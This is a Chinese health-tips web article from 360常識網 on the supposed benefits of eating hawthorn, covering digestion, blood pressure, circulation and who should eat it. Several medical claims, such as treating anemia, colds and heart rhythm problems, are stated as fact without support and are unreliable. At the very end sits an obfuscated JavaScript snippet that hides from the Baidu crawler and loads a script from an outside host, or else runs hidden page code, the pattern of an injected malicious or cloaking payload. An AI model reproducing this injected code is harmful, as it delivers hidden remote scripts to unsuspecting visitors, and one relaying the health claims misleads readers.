當前位置:首頁 > 飲食 > 食物營養(yǎng) > 正文

經(jīng)常吃山楂有什么好處呢

2017-07-11 22:05:15  來源:360常識網(wǎng)   熱度:
導語:相信一說起山楂沒有人會不知道的吧!因為在我們小的時候就經(jīng)常會吃一些山楂片,媽媽也會告訴我們,多吃山楂片能讓我們的胃口變得更好,從而

相信一說起山楂沒有人會不知道的吧!因為在我們小的時候就經(jīng)常會吃一些山楂片,媽媽也會告訴我們,多吃山楂片能讓我們的胃口變得更好,從而就能多吃飯,這樣就會讓我們的身體長得更加的健康. 因此經(jīng)常吃山楂有什么好處呢? 為了幫助大家解決這個疑問,接下來的時間就請朋友們和我一起進入到下面的學習內容.

山楂的功效:

一、防治心血管疾病,降低血壓和膽固醇、軟化血管及利尿和鎮(zhèn)靜作用。

二、開胃消食,特別對消肉食積滯作用更好,很多助消化的藥中都采用了山楂。

三、山楂有活血化淤的功效,有助于解除局部淤血狀態(tài),對跌打損傷有輔助療效。

四、山楂中有平喘化痰、抑制細菌、治療腹痛腹瀉的成分。

適宜人群:老少皆宜,胃酸分泌過多者勿空腹食用,其他不限。

山楂片含多種維生素、山楂酸、酒石酸、檸檬酸、蘋果酸等,還含有黃酮類、內酯、糖類、蛋白質、脂肪和鈣、磷、鐵等礦物質,所含的解脂酶能促進脂肪類食物的消化。促進胃液分泌和增加胃內酶素等功能。中醫(yī)認為,山楂具有消積化滯、收斂止痢、活血化淤等功效。主治飲食積滯、胸膈脾滿、疝氣血淤閉經(jīng)等癥。山楂中含有山萜類及黃酮類等藥物成分,具有顯著的擴張血管及降壓作用,有增強心肌、抗心律不齊、調節(jié)血脂及膽固醇含量的功能。適應范圍:一般人皆可食用。兒童、老年人、消化不良尤其適合食用。傷風感冒、消化不良、食欲不振、兒童軟骨缺鈣癥、兒童缺鐵性貧血者可多食山楂片。

以上幾段文字內容就為我們很好地介紹了經(jīng)常吃山楂有什么好處, 相信只要認真閱讀了上述內容的朋友們,心中對這些好處也已經(jīng)有了更深刻的認知和了解. 當然我想告訴大家的是,山楂自古以來就有很好的開胃健脾的效果,所以對于那些食欲不振的朋友們在生活中可以多吃一些山楂.

轉載申明:360常識網(wǎng),歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}